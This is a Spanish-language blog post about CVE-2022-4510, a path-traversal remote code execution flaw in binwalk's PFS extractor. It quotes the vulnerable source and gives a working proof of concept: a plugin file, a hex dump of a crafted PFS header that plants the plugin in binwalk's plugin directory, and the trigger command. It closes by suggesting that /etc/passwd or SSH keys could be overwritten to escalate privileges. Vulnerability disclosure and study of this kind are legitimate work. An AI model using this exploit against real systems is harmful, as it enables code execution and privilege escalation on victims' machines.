Principio y demostración de vulnerabilidad de ejecución de comando remoto de Binwalk CVE-2022-4510

Introducción

Según la descripción oficial de cve, se encontró una vulnerabilidad de cruce de ruta en binwalk desde la versión 2.1.2 a la 2.3.3. Esta vulnerabilidad permite que un atacante remoto ejecute código arbitrario en una máquina afectada con binwalk instalado

¿Qué es un archivo PFS?

Un archivo PFS es un archivo de selección creado por PhotoFiltre Studio, un programa de retoque de imágenes. Contiene las coordenadas utilizadas por la herramienta de selección de polígonos del editor de imágenes para dibujar líneas entre las coordenadas dadas. Los archivos PFS se almacenan en texto sin formato.

Formato de archivo PFS

https://lekensteyn.nl/files/pfs/pfs.txt

Analizar código fuente

Un complemento extractor de PFS se fusionó con binwalk en 2017 con algunas modificaciones

     def extractor(self, fname):
         fname = os.path.abspath(fname)
         out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))

         try:
             with PFS(fname) as fs:  #读取pfs文件数据
               data = open(fname, 'rb')
               data = binwalk.core.common.BlockFile(fname, 'rb')
               data.seek(fs.get_end_of_meta_data())
               for entry in fs.entries():
                   outfile_path = os.path.join(out_dir, entry.fname)
                   if not outfile_path.startswith(out_dir): 
                        binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
                    else:
                        self._create_dir_from_fname(outfile_path)
                        outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
                        outfile.write(data.read(entry.fsize))
                        outfile.close()
                 data.close()
         except KeyboardInterrupt as e:
             raise e

El problema ocurre en la función os.path.join, porque el código de la línea 11 no resuelve completamente la ruta, por lo que la condición de la línea 12 nunca se cumplirá.

inserte la descripción de la imagen aquí

Al crear un archivo PFS de recorrido de ruta, podemos obligar a binwalk a escribir archivos fuera del directorio

punto de contacto

Los usuarios pueden usar la API de binwalk para definir sus propios complementos, simplemente coloque los complementos en el directorio $HOME/.config/binwalk/plugins/, y luego se llamará a los complementos cuando se ejecute binwalk.

Código malicioso:

import binwalk.core.plugin

class MaliciousExtractor(binwalk.core.plugin.Plugin):
    def init(self):
        print("baimao")

Abra el archivo con winhex después de guardar
inserte la descripción de la imagen aquí

Pegue los siguientes datos hexadecimales directamente

5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000

inserte la descripción de la imagen aquí

Guarde el .py como un archivo .pfs y agréguelo al paquete comprimido

inserte la descripción de la imagen aquí

Al usar binwalk para extraer archivos del directorio de inicio del usuario, se agregará un complemento a .config/binwalk/plugins, y binwalk cargará y ejecutará este complemento malicioso, lo que dará como resultado RCE

cd ~
binwalk -M -e exp.zip

inserte la descripción de la imagen aquí

código ejecutado con éxito

Resumir

El cve que reveló los detalles el 31 de enero de este año aprendió un poco, además de sobrescribir el archivo ./.config/binwalk/plugins/malwalk.py, también podemos sobrescribir el archivo id.rsa o /etc/passwd para escalar derechos directamente

Documentos de referencia:

https://nvd.nist.gov/vuln/detail/CVE-2022-4510
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk

Supongo que te gusta

Origin blog.csdn.net/qq_45894840/article/details/128890375
Recomendado
Clasificación